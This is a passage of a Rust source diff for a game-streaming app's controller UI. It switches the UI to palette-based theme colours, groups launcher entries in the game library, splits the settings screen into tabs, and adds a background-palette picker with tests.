= |c: (f64, f64, f64)| 0.2126 * c.0 + 0.7152 * c.1 + 0.0722 * c.2; + for p in &PALETTES { + for c in p.mesh_colors().iter().chain(p.blob_colors().iter()) { + for v in [c.0, c.1, c.2] { + assert!((0.0..=1.0).contains(&v), "{} {c:?}", p.id); + } + } + let mean = p.mesh_colors().iter().map(|c| luma(*c)).sum::() / 16.0; + if p.light { + assert!(mean > 0.5, "{} is flagged light but means {mean:.2}", p.id); + assert!(luma(p.ground) > 0.6, "{}'s ground is dark", p.id); + } else { + assert!(mean < 0.45, "{} is flagged dark but means {mean:.2}", p.id); + assert!(luma(p.ground) < 0.2, "{}'s ground is light", p.id); + } + // The accent tints glass of the OPPOSITE polarity to the field, so it has to be + // legible there: dark accents on white frost, bright ones on dark glass. + let a = luma(p.accent); + if p.light { + assert!(a < 0.45, "{}'s accent is too pale for white glass", p.id); + } else { + assert!(a > 0.25, "{}'s accent is too dark for dark glass", p.id); + } + } + } + + /// The ramp is the shared sampling rule the Swift and Kotlin ports reproduce. + #[test] + fn ramp_interpolates_between_stops() { + let stops = [(0.0, 0.0, 0.0), (1.0, 0.0, 0.0), (1.0, 1.0, 1.0)]; + assert_eq!(ramp(&stops, 0.0), (0.0, 0.0, 0.0)); + assert_eq!(ramp(&stops, 1.0), (1.0, 1.0, 1.0)); + assert_eq!(ramp(&stops, 0.5), (1.0, 0.0, 0.0)); + let q = ramp(&stops, 0.25); + assert!((q.0 - 0.5).abs() < 1e-9 && q.1 == 0.0); + // Out of range clamps rather than panicking. + assert_eq!(ramp(&stops, -3.0), (0.0, 0.0, 0.0)); + assert_eq!(ramp(&stops, 9.0), (1.0, 1.0, 1.0)); + assert_eq!(ramp(&[], 0.5), (0.0, 0.0, 0.0)); + } } diff --git a/crates/pf-console-ui/src/screens.rs b/crates/pf-console-ui/src/screens.rs index a7e2730e..9a839ffe 100644 --- a/crates/pf-console-ui/src/screens.rs +++ b/crates/pf-console-ui/src/screens.rs @@ -21,9 +21,10 @@ use skia_safe::{Canvas, Rect}; /// What a screen draws over (the shell crossfades between them on push/pop). #[derive(Clone, Copy, PartialEq, Eq)] pub(crate) enum Bg { - /// The living mesh aurora (home, library). + /// The living mesh aurora at full contrast (home, library). Aurora, - /// The quiet indigo form backdrop (settings, add-host, pair). + /// The SAME living mesh, calmed — dimmed pools, lifted corners (settings, add-host, + /// pair). Not a second backdrop: the shell chases one `calm` uniform between the two. Form, } diff --git a/crates/pf-console-ui/src/screens/add_host.rs b/crates/pf-console-ui/src/screens/add_host.rs index c60347e5..71f815a2 100644 --- a/crates/pf-console-ui/src/screens/add_host.rs +++ b/crates/pf-console-ui/src/screens/add_host.rs @@ -7,7 +7,7 @@ use crate::glyphs::{Hint, HintKey}; use crate::model::ConsoleCmd; use crate::screens::{Ctx, Outbox}; -use crate::theme::{Fonts, DIM, W}; +use crate::theme::{fg, Fonts, W}; use crate::widgets::{permits, Charset, KeyMsg, Keyboard, ListMsg, MenuList, RowSpec}; use pf_client_core::gamepad::{MenuEvent, MenuPulse}; use skia_safe::{Canvas, Rect}; @@ -214,7 +214,7 @@ impl AddHostScreen { "Hosts on this network appear automatically — add one by address for everything else.", W::Regular, 13.0 * k, - DIM, + fg(0.55), cx, f64::from(rect.top) + 2.0 * k, f64::from(rect.width()) * 0.72, diff --git a/crates/pf-console-ui/src/screens/home.rs b/crates/pf-console-ui/src/screens/home.rs index 482e6213..7165af33 100644 --- a/crates/pf-console-ui/src/screens/home.rs +++ b/crates/pf-console-ui/src/screens/home.rs @@ -10,7 +10,7 @@ use crate::glyphs::{Hint, HintKey}; use crate::library::{step_cursor, StepResult, BUMP_C, BUMP_K, BUMP_PX, SPRING_C, SPRING_K}; use crate::model::{ConsoleCmd, HostRow}; use crate::screens::{ConnectIntent, Ctx, Outbox, Screen}; -use crate::theme::{brand, white, Fonts, PanelStroke, BRAND, DIM, ONLINE_GREEN, W, WHITE}; +use crate::theme::{accent, fg, Fonts, PanelStroke, ONLINE_GREEN, W}; use pf_client_core::gamepad::{MenuDir, MenuEvent, MenuPulse}; use skia_safe::{Canvas, Color4f, MaskFilter, Paint, Path, Point, RRect, Rect}; @@ -251,7 +251,7 @@ impl HomeScreen { "Hosts on this network appear automatically — add one by address for everything else.", W::Regular, 13.0 * k, - DIM, + fg(0.55), f64::from(rect.left) + w / 2.0, cy + tile_h / 2.0 + 24.0 * k, w * 0.7, @@ -265,7 +265,7 @@ fn draw_host_tile(canvas: &Canvas, fonts: &Fonts, h: &HostRow, rect: Rect, k: f6 canvas, rect, TILE_CORNER as f32, - h.saved.then(|| brand(0.20)), + h.saved.then(|| accent(0.20)), if h.saved { PanelStroke::Gradient } else { @@ -327,7 +327,7 @@ fn draw_host_tile(canvas: &Canvas, fonts: &Fonts, h: &HostRow, rect: Rect, k: f6 sub_base, W::Regular, 13.0 * k, - white(0.55), + fg(0.55), max_w, ); let x = l + addr_w + 8.0 * k; @@ -352,7 +352,7 @@ fn draw_host_tile(canvas: &Canvas, fonts: &Fonts, h: &HostRow, rect: Rect, k: f6 sub_base, W::Regular, 13.0 * k, - white(0.55), + fg(0.55), max_w, ); } @@ -364,22 +364,22 @@ fn draw_host_tile(canvas: &Canvas, fonts: &Fonts, h: &HostRow, rect: Rect, k: f6 sub_base - 22.0 * k, W::Bold, 23.0 * k, - WHITE, + fg(1.0), max_w, ); } -/// A profile's `#RRGGBB` accent as a color, defaulting to the brand tint. Parsed +/// A profile's `#RRGGBB` accent as a color, defaulting to the PALETTE's accent. Parsed /// leniently — a malformed accent (hand-edited catalog) falls back rather than erroring. -fn accent_color(accent: Option<&str>) -> skia_safe::Color4f { - let Some(hex) = accent +fn accent_color(hex: Option<&str>) -> skia_safe::Color4f { + let Some(hex) = hex .and_then(|a| a.strip_prefix('#')) .filter(|h| h.len() == 6) else { - return BRAND; + return accent(1.0); }; let Ok(v) = u32::from_str_radix(hex, 16) else { - return BRAND; + return accent(1.0); }; skia_safe::Color4f::new( ((v >> 16) & 0xff) as f32 / 255.0, @@ -404,9 +404,9 @@ fn draw_add_tile(canvas: &Canvas, fonts: &Fonts, rect: Rect, k: f64) { let badge = Rect::from_xywh(l as f32, t as f32, (52.0 * k) as f32, (52.0 * k) as f32); canvas.draw_rrect( RRect::new_rect_xy(badge, (15.0 * k) as f32, (15.0 * k) as f32), - &Paint::new(brand(0.16), None), + &Paint::new(accent(0.16), None), ); - let mut ring = Paint::new(brand(0.5), None); + let mut ring = Paint::new(accent(0.5), None); ring.set_style(skia_safe::PaintStyle::Stroke); ring.set_stroke_width(1.0); ring.set_anti_alias(true); @@ -415,7 +415,7 @@ fn draw_add_tile(canvas: &Canvas, fonts: &Fonts, rect: Rect, k: f64) { &ring, ); let (bcx, bcy) = (l + 26.0 * k, t + 26.0 * k); - let mut p = Paint::new(BRAND, None); + let mut p = Paint::new(accent(1.0), None); p.set_style(skia_safe::PaintStyle::Stroke); p.set_stroke_width((3.0 * k) as f32); p.set_stroke_cap(skia_safe::PaintCap::Round); @@ -441,7 +441,7 @@ fn draw_add_tile(canvas: &Canvas, fonts: &Fonts, rect: Rect, k: f64) { sub_base, W::Regular, 13.0 * k, - white(0.55), + fg(0.55), max_w, ); fonts.draw_clipped( @@ -451,7 +451,7 @@ fn draw_add_tile(canvas: &Canvas, fonts: &Fonts, rect: Rect, k: f64) { sub_base - 22.0 * k, W::Bold, 23.0 * k, - WHITE, + fg(1.0), max_w, ); } @@ -467,8 +467,8 @@ fn draw_monogram(canvas: &Canvas, fonts: &Fonts, name: &str, filled: bool, x: f6 Point::new(badge.left, badge.bottom), ), skia_safe::gradient_shader::GradientShaderColors::Colors(&[ - BRAND.to_color(), - brand(0.68).to_color(), + accent(1.0).to_color(), + accent(0.68).to_color(), ]), None, skia_safe::TileMode::Clamp, @@ -477,8 +477,8 @@ fn draw_monogram(canvas: &Canvas, fonts: &Fonts, name: &str, filled: bool, x: f6 )); canvas.draw_rrect(rr, &p); } else { - canvas.draw_rrect(rr, &Paint::new(brand(0.16), None)); - let mut ring = Paint::new(brand(0.5), None); + canvas.draw_rrect(rr, &Paint::new(accent(0.16), None)); + let mut ring = Paint::new(accent(0.5), None); ring.set_style(skia_safe::PaintStyle::Stroke); ring.set_stroke_width(1.0); ring.set_anti_alias(true); @@ -499,13 +499,13 @@ fn draw_monogram(canvas: &Canvas, fonts: &Fonts, name: &str, filled: bool, x: f6 y + 26.0 * k + size * 0.36, W::Bold, size, - if filled { WHITE } else { BRAND }, + if filled { fg(1.0) } else { accent(1.0) }, ); } /// A small padlock: filled body + stroked shackle (the paired-identity mark). fn draw_lock(canvas: &Canvas, x: f64, y: f64, k: f64) { - let ink = white(0.5); + let ink = fg(0.5); let body_w = 11.0 * k; let body_h = 8.0 * k; let body_top = y + 5.0 * k; diff --git a/crates/pf-console-ui/src/screens/library.rs b/crates/pf-console-ui/src/screens/library.rs index c7d13722..3f62a2a3 100644 --- a/crates/pf-console-ui/src/screens/library.rs +++ b/crates/pf-console-ui/src/screens/library.rs @@ -12,7 +12,7 @@ use crate::library::{ }; use crate::model::{ConsoleCmd, HostRow}; use crate::screens::{ConnectIntent, Ctx, Outbox}; -use crate::theme::{white, Fonts, DIM, W, WHITE}; +use crate::theme::{accent, fg, Fonts, W}; use pf_client_core::gamepad::{MenuDir, MenuEvent, MenuPulse}; use skia_safe::{Canvas, Color4f, Data, Image, Paint, Point, RRect, Rect, M44}; use std::collections::HashMap; @@ -168,10 +168,31 @@ impl LibraryScreen { } } + /// How many launcher entries lead the shelf — [`LibraryShared::set_games`] groups them at the + /// front, so the launcher group is always the prefix `0..launcher_count()`. + fn launcher_count(&self) -> usize { + self.games.iter().take_while(|g| g.launcher).count() + } + + /// Is the focused entry a launcher? (Drives the confirm hint: you *open* Steam, you *play* a + /// game.) + fn focused_is_launcher(&self) -> bool { + self.games + .get(self.cursor as usize) + .is_some_and(|g| g.launcher) + } + pub(crate) fn hints(&self, _ctx: &Ctx) -> Vec { match &self.phase { LibraryPhase::Ready => vec![ - Hint::new(HintKey::Confirm, "Play"), + Hint::new( + HintKey::Confirm, + if self.focused_is_launcher() { + "Open" + } else { + "Play" + }, + ), Hint::new(HintKey::Shoulders, "Jump"), Hint::new(HintKey::Back, "Back"), ], @@ -216,7 +237,7 @@ impl LibraryScreen { "Loading library…", W::Regular, 14.0 * k, - DIM, + fg(0.55), cx, cy_all + 16.0 * k, w * 0.8, @@ -228,7 +249,7 @@ impl LibraryScreen { "No games found", W::Bold, 22.0 * k, - WHITE, + fg(1.0), cx, cy_all - 20.0 * k, w * 0.8, @@ -238,7 +259,7 @@ impl LibraryScreen { "Install Steam titles or add custom entries in the host's web console.", W::Regular, 14.0 * k, - DIM, + fg(0.55), cx, cy_all + 12.0 * k, w * 0.8, @@ -250,7 +271,7 @@ impl LibraryScreen { &title, W::Bold, 22.0 * k, - WHITE, + fg(1.0), cx, cy_all - 32.0 * k, w * 0.8, @@ -260,7 +281,7 @@ impl LibraryScreen { &body, W::Regular, 14.0 * k, - DIM, + fg(0.55), cx, cy_all + 4.0 * k, (600.0 * k).min(w * 0.85), @@ -277,6 +298,30 @@ impl LibraryScreen { let pos = self.anim.pos; let bump = self.bump.pos * k; + // Group heading. The model groups launcher entries at the front (design D4), and a + // coverflow is one-dimensional — so instead of a second focus rail (a new up/down nav + // model, in three renderers, for two or three tiles) the heading names the group the + // cursor is in and changes as it crosses the boundary. Drawn only when the shelf + // actually has both groups, so a library without launchers looks exactly as before. + let launchers = self.launcher_count(); + if launchers > 0 && launchers < self.games.len() { + let heading = if (self.cursor as usize) < launchers { + "LAUNCHERS" + } else { + "GAMES" + }; + fonts.centered( + canvas, + heading, + W::SemiBold, + 12.0 * k, + fg(0.5), + f64::from(rect.left) + w / 2.0, + cy - card_h / 2.0 - 22.0 * k, + w * 0.5, + ); + } + // Paint order = draw order: farthest from the (integer) cursor first, so the // dense side stacks overlap toward the focus. let mut order: Vec = (0..self.games.len()).collect(); @@ -326,21 +371,31 @@ impl LibraryScreen { } None => { // Solid face, not glass: the side cards OVERLAP. - canvas.draw_rect( - crect, - &Paint::new(Color4f::new(0.118, 0.118, 0.145, 1.0), None), - ); - let mono = initials(&game.title); - let font = fonts.font(W::Bold, 38.0 * k); - let tw = font.measure_str(&mono, None).0; + // + // A launcher tile usually has no poster, and an art-less launcher drawn like + // an art-less game reads as "a game whose cover failed to load". So it gets + // the brand-tinted face and names its launcher, instead of a title monogram. + let face = if game.launcher { + Color4f::new(0.153, 0.137, 0.267, 1.0) + } else { + Color4f::new(0.118, 0.118, 0.145, 1.0) + }; + canvas.draw_rect(crect, &Paint::new(face, None)); + let (glyph, size, ink) = if game.launcher { + (store_label(&game.store).to_string(), 22.0 * k, fg(0.85)) + } else { + (initials(&game.title), 38.0 * k, fg(0.45)) + }; + let font = fonts.font(W::Bold, size); + let tw = font.measure_str(&glyph, None).0; canvas.draw_str( - &mono, + &glyph, Point::new( (card_w as f32 - tw) / 2.0, card_h as f32 / 2.0 + 13.0 * k as f32, ), &font, - &Paint::new(white(0.45), None), + &Paint::new(ink, None), ); } } @@ -351,13 +406,20 @@ impl LibraryScreen { let tw = fonts.measure(label, W::SemiBold, size) as f64; let (px, py) = (8.0 * k, 8.0 * k); let (bw, bh) = (tw + 16.0 * k, 20.0 * k); + // Brand-filled for a launcher, smoked glass for a game — the one cue that + // survives being three cards deep in the recede. + let pill = if game.launcher { + accent(0.85) + } else { + crate::theme::shade(0.55) + }; canvas.draw_rrect( RRect::new_rect_xy( Rect::from_xywh(px as f32, py as f32, bw as f32, bh as f32), (bh / 2.0) as f32, (bh / 2.0) as f32, ), - &Paint::new(Color4f::new(0.0, 0.0, 0.0, 0.55), None), + &Paint::new(pill, None), ); fonts.draw( canvas, @@ -366,7 +428,7 @@ impl LibraryScreen { py + 14.0 * k, W::SemiBold, size, - WHITE, + fg(1.0), ); } // The brightness recede: an opaque-black veil, never whole-card alpha. @@ -390,17 +452,22 @@ impl LibraryScreen { &g.title, W::Bold, 27.0 * k, - WHITE, + fg(1.0), cx, f64::from(rect.bottom) - 64.0 * k, w * 0.8, ); + let sub = if g.launcher { + format!("{} · LAUNCHER", store_label(&g.store).to_uppercase()) + } else { + store_label(&g.store).to_uppercase() + }; fonts.centered( canvas, - &store_label(&g.store).to_uppercase(), + &sub, W::Regular, 12.0 * k, - white(0.5), + fg(0.5), cx, f64::from(rect.bottom) - 30.0 * k, w * 0.5, diff --git a/crates/pf-console-ui/src/screens/pair.rs b/crates/pf-console-ui/src/screens/pair.rs index 20a87703..45244d69 100644 --- a/crates/pf-console-ui/src/screens/pair.rs +++ b/crates/pf-console-ui/src/screens/pair.rs @@ -7,7 +7,7 @@ use crate::glyphs::{Hint, HintKey}; use crate::model::{ConsoleCmd, HostRow, PairPhase}; use crate::screens::{ConnectIntent, Ctx, Outbox}; -use crate::theme::{Fonts, DIM, ERROR, W}; +use crate::theme::{fg, Fonts, ERROR, W}; use crate::widgets::{permits, Charset, KeyMsg, Keyboard, ListMsg, MenuList, RowSpec}; use pf_client_core::gamepad::{MenuEvent, MenuPulse}; use skia_safe::{Canvas, Rect}; @@ -297,7 +297,7 @@ impl PairScreen { intro, W::Regular, 13.0 * k, - DIM, + fg(0.55), cx, f64::from(rect.top) + 2.0 * k, f64::from(rect.width()) * 0.72, @@ -336,7 +336,7 @@ impl PairScreen { "Pairing… confirm the PIN on the host", W::Regular, 13.0 * k, - DIM, + fg(0.55), cx + 10.0 * k, status_y, f64::from(rect.width()) * 0.6, diff --git a/crates/pf-console-ui/src/screens/pin_hosts.rs b/crates/pf-console-ui/src/screens/pin_hosts.rs index ad7dab4e..924b643b 100644 --- a/crates/pf-console-ui/src/screens/pin_hosts.rs +++ b/crates/pf-console-ui/src/screens/pin_hosts.rs @@ -8,7 +8,7 @@ use crate::glyphs::{Hint, HintKey}; use crate::model::ConsoleCmd; use crate::screens::{Ctx, Outbox}; -use crate::theme::{Fonts, DIM, W}; +use crate::theme::{fg, Fonts, W}; use crate::widgets::{ListMsg, MenuList, RowSpec}; use pf_client_core::gamepad::{MenuEvent, MenuPulse}; use skia_safe::{Canvas, Rect}; @@ -115,7 +115,7 @@ impl PinHostsScreen { "No saved hosts yet — pair with a host first, then pin this profile to it.", W::Regular, 14.0 * k, - DIM, + fg(0.55), cx, f64::from(rect.top) + f64::from(rect.height()) / 2.0, f64::from(rect.width()) * 0.7, @@ -157,7 +157,7 @@ impl PinHostsScreen { "A pinned profile appears as its own card on the host — one press connects with it.", W::Regular, 13.0 * k, - DIM, + fg(0.55), cx, f64::from(rect.bottom) - detail_h + 6.0 * k, f64::from(rect.width()) * 0.8, diff --git a/crates/pf-console-ui/src/screens/settings.rs b/crates/pf-console-ui/src/screens/settings.rs index 47d085b2..2eddccfd 100644 --- a/crates/pf-console-ui/src/screens/settings.rs +++ b/crates/pf-console-ui/src/screens/settings.rs @@ -2,13 +2,17 @@ //! restyled as glass rows and fully controller-navigable (the Swift //! `GamepadSettingsView`, re-homed): up/down moves focus, left/right steps the focused //! value (clamped — the boundary thud tells the thumb it's the last option), A cycles -//! forward wrapping, B closes. Every change persists immediately; the desktop shells -//! read the same file, so values round-trip freely. +//! forward wrapping, L1/R1 change SECTION, B closes. Every change persists immediately; +//! the desktop shells read the same file, so values round-trip freely. +//! +//! The rows are split across tabs (see [`TABS`]). They used to be one 30-row scroll with +//! inline headers, which on a Deck meant thumbing past Video and Audio to reach the pad +//! settings; a tab is one shoulder press, and each tab remembers where its cursor was. use crate::glyphs::{Hint, HintKey}; use crate::screens::{Ctx, Outbox, Screen}; -use crate::theme::{Fonts, DIM, W}; -use crate::widgets::{ListMsg, MenuList, RowSpec}; +use crate::theme::{fg, Fonts, W}; +use crate::widgets::{ListMsg, MenuList, RowSpec, TabStrip, TAB_STRIP_H}; use pf_client_core::gamepad::{MenuEvent, MenuPulse}; use pf_client_core::trust::{MouseMode, StatsVerbosity, TouchMode}; use skia_safe::{Canvas, Rect}; @@ -51,6 +55,10 @@ enum RowId { Fullscreen, AutoWake, Library, + /// The gamepad UI's background colour family — see [`crate::library::PALETTES`]. The + /// backdrop behind this very row re-colours as it steps, which is the whole reason the + /// picker lives on a screen rather than in a dialog. + Palette, } // The couch-relevant subset grew 2026-07-31: this screen is the ONLY settings editor in @@ -58,39 +66,77 @@ enum RowId { // scroll/shortcut behavior, fullscreen-on-stream, auto-wake, the library toggle and echo // cancellation all were). Still deliberately smaller than the desktop dialogs — device // pickers (GPU/speaker/mic) stay desktop-only, and profiles are pinnable here (the -// trailing Profiles section) but created and edited only in the desktop app (design §5.4). -const ROWS: [RowId; 29] = [ - RowId::Resolution, - RowId::Refresh, - RowId::RenderScale, - RowId::Bitrate, - RowId::Compositor, - RowId::Codec, - RowId::Decoder, - RowId::Hdr, - RowId::Chroma444, - RowId::PresentPriority, - RowId::SmoothBuffer, - RowId::Vsync, - RowId::AllowVrr, - RowId::Audio, - RowId::Mic, - RowId::EchoCancel, - RowId::PadForward, - RowId::Pad, - RowId::PadType, - RowId::SystemButtons, - RowId::GuideGesture, - RowId::Touch, - RowId::Mouse, - RowId::InvertScroll, - RowId::Shortcuts, - RowId::Stats, - RowId::Fullscreen, - RowId::AutoWake, - RowId::Library, +// trailing Profiles tab) but created and edited only in the desktop app (design §5.4). +// +// The tab names are shared with the Apple and Android gamepad settings, so a setting is +// found under the same word on every client. Profiles is the trailing tab and is built +// from the catalog at render time, which is why it carries no rows here. +const TABS: [(&str, &[RowId]); 7] = [ + ( + "Stream", + &[ + RowId::Resolution, + RowId::Refresh, + RowId::RenderScale, + RowId::Bitrate, + RowId::Compositor, + ], + ), + ( + "Video", + &[ + RowId::Codec, + RowId::Decoder, + RowId::Hdr, + RowId::Chroma444, + RowId::PresentPriority, + RowId::SmoothBuffer, + RowId::Vsync, + RowId::AllowVrr, + ], + ), + ("Audio", &[RowId::Audio, RowId::Mic, RowId::EchoCancel]), + ( + "Controller", + &[ + RowId::PadForward, + RowId::Pad, + RowId::PadType, + RowId::SystemButtons, + RowId::GuideGesture, + ], + ), + ( + "Input", + &[ + RowId::Touch, + RowId::Mouse, + RowId::InvertScroll, + RowId::Shortcuts, + ], + ), + ( + "Interface", + &[ + RowId::Palette, + RowId::Stats, + RowId::Fullscreen, + RowId::AutoWake, + RowId::Library, + ], + ), + ("Profiles", &[]), ]; +/// The index of the trailing Profiles tab (built from the catalog, not from [`TABS`]). +const PROFILES_TAB: usize = TABS.len() - 1; + +/// How many sections the strip shows — for the shell's raster test, which walks all of them. +/// `cfg(test)` because nothing in a shipping build needs the count: a plain `cargo build` would +/// otherwise warn it dead, and this crate's lanes treat warnings as errors. +#[cfg(test)] +pub(crate) const TAB_COUNT: usize = TABS.len(); + const RESOLUTIONS: [(u32, u32); 6] = [ (0, 0), // native (1280, 720), @@ -175,6 +221,12 @@ const GUIDE_GESTURE: [(&str, &str); 3] = [("auto", "Automatic"), ("on", "On"), ( pub(crate) struct SettingsScreen { list: MenuList, + strip: TabStrip, + /// Which of [`TABS`] is showing. + tab: usize, + /// Where each tab's cursor was when it was last left. Coming back to Controller after a + /// detour through Video should land where you were, not at the top. + tab_cursors: [usize; TABS.len()], /// The profile catalog's `(id, name)` pairs, loaded once at construction — the console /// can't create profiles (design §5.4: the desktop app does), so the list is stable /// for the screen's lifetime. @@ -195,20 +247,37 @@ impl SettingsScreen { fn with_profiles(profiles: Vec<(String, String)>) -> SettingsScreen { SettingsScreen { list: MenuList::new(), + strip: TabStrip::new(), + tab: 0, + tab_cursors: [0; TABS.len()], profiles, } } - /// The full row list: the fixed settings rows, then the Profiles section — one row - /// per catalog profile, or the explainer placeholder while there are none. + /// The rows of the CURRENT tab. Profiles is built from the catalog: one row per + /// profile, or the explainer placeholder while there are none. fn row_ids(&self) -> Vec { - let mut ids = ROWS.to_vec(); - if self.profiles.is_empty() { - ids.push(RowId::NoProfiles); - } else { - ids.extend((0..self.profiles.len()).map(RowId::Profile)); + if self.tab != PROFILES_TAB { + return TABS[self.tab].1.to_vec(); } - ids + if self.profiles.is_empty() { + vec![RowId::NoProfiles] + } else { + (0..self.profiles.len()).map(RowId::Profile).collect() + } + } + + /// L1/R1 — move one tab, wrapping (the strip is a ring, like A's value cycle), keeping + /// each tab's own cursor. + fn switch_tab(&mut self, delta: i32) -> Option { + self.tab_cursors[self.tab] = self.list.cursor; + let n = TABS.len() as i32; + self.tab = (self.tab as i32 + delta).rem_euclid(n) as usize; + // Clamp the remembered cursor: the Profiles tab's length follows the catalog. + let len = self.row_ids().len(); + self.list + .jump_to(self.tab_cursors[self.tab].min(len.saturating_sub(1))); + Some(MenuPulse::Move) } pub(crate) fn menu( @@ -217,9 +286,14 @@ impl SettingsScreen { ctx: &mut Ctx, fx: &mut Outbox, ) -> Option { - if ev == MenuEvent::Back { - fx.pop(); - return None; + match ev { + MenuEvent::Back => { + fx.pop(); + return None; + } + MenuEvent::JumpBack => return self.switch_tab(-1), + MenuEvent::JumpForward => return self.switch_tab(1), + _ => {} } let ids = self.row_ids(); let (msg, pulse) = self.list.menu(ev, ids.len()); @@ -277,18 +351,22 @@ impl SettingsScreen { } pub(crate) fn hints(&self, _ctx: &Ctx) -> Vec { - match self.row_ids()[self.list.cursor] { - RowId::Profile(_) => vec![ + let ids = self.row_ids(); + // The shoulders always change section, so that hint leads on every row. + let mut hints = vec![Hint::new(HintKey::Shoulders, "Section")]; + hints.extend(match ids.get(self.list.cursor) { + Some(RowId::Profile(_)) => vec![ Hint::new(HintKey::Confirm, "Pin to hosts…"), Hint::new(HintKey::Back, "Done"), ], - RowId::NoProfiles => vec![Hint::new(HintKey::Back, "Done")], - _ => vec![ + Some(RowId::NoProfiles) | None => vec![Hint::new(HintKey::Back, "Done")], + Some(_) => vec![ Hint::new(HintKey::Adjust, "Adjust"), Hint::new(HintKey::Confirm, "Change"), Hint::new(HintKey::Back, "Done"), ], - } + }); + hints } pub(crate) fn render( @@ -300,11 +378,23 @@ impl SettingsScreen { fonts: &Fonts, ctx: &mut Ctx, ) { - // The focused row's explainer sits in a reserved band under the list. + // The tab strip takes the top band, the focused row's explainer a reserved band + // under the list; the rows get what's between. let detail_h = 34.0 * k; + let strip_h = TAB_STRIP_H * k; + let labels: Vec<&str> = TABS.iter().map(|(name, _)| *name).collect(); + self.strip.render( + canvas, + Rect::from_ltrb(rect.left, rect.top, rect.right, rect.top + strip_h as f32), + &labels, + self.tab, + fonts, + k, + dt, + ); let list_rect = Rect::from_ltrb( rect.left, - rect.top, + rect.top + strip_h as f32, rect.right, rect.bottom - detail_h as f32, ); @@ -315,13 +405,13 @@ impl SettingsScreen { .collect(); self.list .render(canvas, list_rect, &rows, fonts, k, dt, true); - let detail = detail(ids[self.list.cursor]); + let detail = ids.get(self.list.cursor).copied().map_or("", detail); fonts.centered( canvas, detail, W::Regular, 13.0 * k, - DIM, + fg(0.55), f64::from(rect.left) + f64::from(rect.width()) / 2.0, f64::from(rect.bottom) - detail_h + 6.0 * k, f64::from(rect.width()) * 0.8, @@ -341,7 +431,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { .filter(|h| h.pin.as_ref().is_some_and(|p| &p.id == pid)) .count(); return RowSpec { - header: (i == 0).then_some("Profiles"), + header: None, label: name.clone(), value: Some(match pins { 0 => "Not pinned".into(), @@ -355,9 +445,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { }; } RowId::NoProfiles => { - let mut row = RowSpec::action("No profiles yet", false); - row.header = Some("Profiles"); - return row; + return RowSpec::action("No profiles yet", false); } _ => {} } @@ -378,7 +466,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { }; let (header, label, value): (Option<&'static str>, &str, String) = match id { RowId::Resolution => ( - Some("Stream"), + None, "Resolution", if s.match_window { "Match window".into() @@ -422,11 +510,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { "Compositor", label_for(&COMPOSITORS, &s.compositor).into(), ), - RowId::Codec => ( - Some("Video"), - "Video codec", - label_for(&CODECS, &s.codec).into(), - ), + RowId::Codec => (None, "Video codec", label_for(&CODECS, &s.codec).into()), // Migrated on the way in: a pre-M10 store holds `vulkan`/`vaapi`/`d3d11va`, // which name no preset here and would otherwise render as "—". RowId::Decoder => ( @@ -457,7 +541,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { RowId::Vsync => (None, "V-Sync", on_off(s.vsync).into()), RowId::AllowVrr => (None, "Follow variable refresh", on_off(s.allow_vrr).into()), RowId::Audio => ( - Some("Audio"), + None, "Audio channels", AUDIO .iter() @@ -468,7 +552,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { RowId::Mic => (None, "Microphone", on_off(s.mic_enabled).into()), RowId::EchoCancel => (None, "Echo cancellation", on_off(s.echo_cancel).into()), RowId::PadForward => ( - Some("Controller"), + None, "Forward controllers", on_off(s.gamepad_forwarding).into(), ), @@ -499,11 +583,7 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { "Hold Select for guide", label_for(&GUIDE_GESTURE, &s.guide_gesture).into(), ), - RowId::Touch => ( - Some("Touchscreen"), - "Touch mode", - s.touch_mode().label().into(), - ), + RowId::Touch => (None, "Touch mode", s.touch_mode().label().into()), RowId::Mouse => (None, "Mouse mode", s.mouse_mode().label().into()), RowId::InvertScroll => (None, "Invert scroll", on_off(s.invert_scroll).into()), RowId::Shortcuts => ( @@ -511,8 +591,13 @@ fn row_spec(id: RowId, ctx: &Ctx, profiles: &[(String, String)]) -> RowSpec { "Capture system shortcuts", on_off(s.inhibit_shortcuts).into(), ), + RowId::Palette => ( + None, + "Background", + crate::library::palette(&s.ui_palette).name.into(), + ), RowId::Stats => ( - Some("Interface"), + None, "Statistics overlay", s.stats_verbosity().label().into(), ), @@ -619,6 +704,10 @@ fn detail(id: RowId) -> &'static str { "Alt+Tab, Super and friends reach the host while input is captured. \ Off, they act on this device instead." } + RowId::Palette => { + "The colour family this backdrop drifts through — it changes as you step, so \ + pick by looking. Appearance only; nothing about a stream depends on it." + } RowId::Stats => { "How much the overlay shows: Compact (one line) → Normal → Detailed. \ Ctrl+Alt+Shift+S cycles it live while streaming." @@ -788,6 +877,11 @@ fn adjust(id: RowId, delta: i32, wrap: bool, ctx: &mut Ctx) -> bool { step_option(cur, StatsVerbosity::ALL.len(), delta, wrap) .map(|i| s.set_stats_verbosity(StatsVerbosity::ALL[i])) } + RowId::Palette => { + let all = &crate::library::PALETTES; + let cur = all.iter().position(|p| p.id == s.ui_palette); + step_option(cur, all.len(), delta, wrap).map(|i| s.ui_palette = all[i].id.to_string()) + } RowId::Fullscreen => toggle(&mut s.fullscreen_on_stream, delta, wrap), RowId::AutoWake => toggle(&mut s.auto_wake, delta, wrap), RowId::Library => toggle(&mut s.library_enabled, delta, wrap), @@ -1093,19 +1187,18 @@ mod tests { ("p1".into(), "Work".into()), ("p2".into(), "Game".into()), ]); + s.tab = PROFILES_TAB; let ids = s.row_ids(); - assert_eq!(ids.len(), ROWS.len() + 2); - assert_eq!(ids[ROWS.len()], RowId::Profile(0)); + assert_eq!(ids, vec![RowId::Profile(0), RowId::Profile(1)]); let spec = row_spec(RowId::Profile(0), &ctx, &s.profiles); - assert_eq!(spec.header, Some("Profiles")); + assert_eq!(spec.header, None, "the tab pill names the section"); assert_eq!(spec.label, "Work"); assert_eq!(spec.value.as_deref(), Some("Pinned to 1 host")); let spec = row_spec(RowId::Profile(1), &ctx, &s.profiles); - assert_eq!(spec.header, None, "only the first row carries the 